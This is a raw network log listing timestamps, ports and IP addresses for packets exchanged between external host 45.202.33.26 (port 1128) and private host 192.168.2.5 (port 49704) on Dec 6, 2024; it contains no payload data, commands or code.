Dec 6, 2024 14:19:47.087783098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.087910891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.087959051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.088747978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.088850021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.089742899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.089793921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.089843035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.090358019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.090842962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.090961933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.091108084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.091730118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.091806889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.091866970 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.092725039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.092811108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.092855930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.093692064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.093801022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.093848944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.094809055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.095082045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.095124960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.095664978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.095762968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.095839977 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.096652985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.096725941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.096777916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.097651005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.097800016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.097858906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.098666906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.098777056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.098953009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.099627972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.099741936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.099780083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.100601912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.100713015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.100876093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.101598024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.101737976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.101803064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.102663040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.102732897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.102777958 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.103622913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.103732109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.103775978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.104619026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.104727030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.104768038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.105734110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.105871916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.105906010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.106561899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.106678009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.106719971 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.107534885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.107676029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.107716084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.108521938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.108622074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.108664036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.109524012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.109648943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.109692097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.110513926 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.110610008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.110651016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.111557007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.111655951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.112502098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.112572908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.112684965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.113611937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.113622904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.113755941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.113799095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.114511967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.114623070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.114664078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.115490913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.115683079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.116486073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.116516113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.116621017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.116666079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.117430925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.117516041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.117562056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.118428946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.118593931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.118635893 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.119426966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.119543076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.119586945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.120404959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.120522976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.120562077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.121381998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.121469021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.121512890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.122385025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.122499943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.122543097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.123374939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.123446941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.123495102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.124373913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.124449015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.124495983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.146667004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.146836042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.146886110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.147257090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.147346973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.147391081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.148134947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.148253918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.148488045 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.149127007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.268373966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.268486023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.268558025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.268817902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.268935919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.269004107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.269876003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.269964933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.269995928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.270797014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.270906925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.270982027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.271780968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.271874905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.271905899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.272790909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.272933006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.272962093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.273894072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.273989916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.274019003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.274825096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.274925947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.275055885 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.275738955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.275799036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.275837898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.276767015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.276818037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.276902914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.277749062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.277832031 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.277914047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.278785944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.278881073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.278954029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.279771090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.279824972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.280072927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.280704021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.280800104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.280980110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.281683922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.281815052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.281860113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.282682896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.282804012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.282943010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.283703089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.283873081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.284070015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.284701109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.284821987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.284842968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.285675049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.285797119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.285893917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.286672115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.286761999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.286788940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.287641048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.287761927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.287908077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.288656950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.288749933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.289000034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.289628983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.289707899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.289742947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.290596008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.290659904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.290704012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.291606903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.291681051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.291682005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.292947054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.292998075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.293044090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.293970108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.294023037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.294101000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.294985056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.295046091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.295201063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.295775890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.295838118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.295869112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.296698093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.296758890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.296792030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.297549009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.297651052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.297677994 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.298521042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.298573971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.298604012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.299545050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.299612045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.299727917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.300549030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.300658941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.300687075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.301480055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.301584959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.301618099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.302457094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.302566051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.302592993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.303673029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.303762913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.304073095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.304475069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.304611921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.304636955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.305440903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.305567980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.305594921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.306432962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.306554079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.306555986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.307518959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.307604074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.307729006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.308413982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.308492899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.308809042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.309412003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.309505939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.309513092 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.310429096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.310488939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.310527086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.311371088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.311515093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.311619043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.312403917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.312505960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.312557936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.313586950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.313647032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.313656092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.314373970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.314436913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.314475060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.315345049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.315432072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.315504074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.316346884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.316425085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.316442013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.338510990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.338563919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.338603973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.339056969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.339145899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.339174032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.340007067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.340112925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.340142965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.340970993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.341140032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.460289001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.460393906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.460510015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.460730076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.460797071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.460918903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.461740971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.461879969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.462075949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.462723970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.462860107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.463695049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.463818073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.463823080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.463937044 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.464684963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.464863062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.465293884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.465683937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.465734959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.465857983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.466665983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.466898918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.467096090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.467664003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.467784882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.467885017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.468637943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.468759060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.469665051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.469791889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.469819069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.469979048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.470617056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.470735073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.471615076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.471728086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.471760988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.471879959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.472637892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.472706079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.472774982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.473606110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.473728895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.473788977 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.474601984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.474713087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.474967003 CET	49704	1128	192.168.2.5	45.202.33.26
